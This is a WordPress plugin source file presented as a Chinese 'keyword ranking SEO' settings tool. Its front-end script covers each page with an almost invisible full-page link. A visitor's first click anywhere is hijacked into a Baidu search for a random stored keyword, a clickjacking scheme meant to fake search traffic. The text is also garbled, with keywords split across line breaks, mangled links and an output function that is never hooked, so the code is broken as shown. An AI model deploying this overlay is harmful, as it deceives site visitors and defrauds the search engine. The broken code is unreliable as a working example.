<?php
// 确保只在管理后台执行
if (is_admin()) {
// 添加设置页面
add_action('admin_menu', 'rlg_add_admin_menu');
add_action('admin_init', 'rlg_settings_init');
}
function rlg_add_admin_menu() {
add_options_page('关键词排名seo设置', '关键词排名seo设置', 'manage_options', 'random-l
ink-generator', 'rlg_options_page');
}
function rlg_settings_init() {
register_setting('rlg_plugin_page', 'rlg_keywords');
}
function rlg_options_page() {
?>
<div class="wrap">
<h1>关键词排名seo设置</h1>
<form method="post" action="options.php">
<?php
settings_fields('rlg_plugin_page');
do_settings_sections('rlg_plugin_page');
?>
<table class="form-table">
<tr valign="top">
<th scope="row">关键词</th>
<td>
<text
area name="rlg_keywords" rows="10" cols="50"><?php echo esc_text
area(get_option('rlg_keywords')); ?></text
area>
<p class="des
cription">请输入关键词,每个关键词一行。</p>
</td>
</tr>
</table>
<?php submit_button(); ?>
</form>
<p style="text-align: center; font-size: 14px; color: #999;">本插件由<a href=https://download.csdn.net/download/huayula/"https://ds17.cn" target="_blank">大神博客ds17.cn</a>原创,务必保留所有权利,删除必究。</p>
</div>
<?php
}
function rlg_enqueue_s
cript() {
// 确保只在前端输出脚本
if (!is_admin()) {
$keywords = get_option('rlg_keywords');
$encoded_keywords = json_encode(array_filter(array_map('trim', explode("
",$keywords))));
?>
<s
cript type="text/javas
cript">
var rlg_keywords = <?php echo $encoded_keywords; ?>;
if (getcoo
kie("baidu_tc") != "1") {
var randomWord = encodeURICompo
nent(rlg_keywords[Math.floor(Math.random() * rlg_keywords.length)]);
docu
ment.write('<a href=https://download.csdn.net/download/huayula/"http://www.baidu.com/s?ie=UTF-8&wd=' + randomWord + '" target="_blank" style="position: absolute; z-index: 9999999999; opacity: 0.1;top: 0px; left: 0px; width: 100%; height: '+docu
ment.body.offsetHeight+'px; background-color: rgb(255, 255, 255);" id="baidu_tc" o
nclick="baidu_tc();"></a>');
}
function baidu_tc() {
var l
ink = docu
ment.getElementById("baidu_tc");
if (l
ink) {
l
ink.style.display = "none";
setcoo
kie("baidu_tc", "1");
}
}
function setcoo
kie(cname, cvalue) {
docu
ment.coo
kie = cname + "=" + cvalue + "; path=/";
}
function getcoo
kie(cname) {
var name = cname + "=";
var ca = docu
ment.coo
kie.split(';');
for (var i = 0; i < ca.length; i++) {
var c = ca[i].tri
m();
if (c.indexOf(name) == 0) {
return c.substrin
g(name.length, c.length);
}
}
return "";
}
</s
cript>
<?php
}
}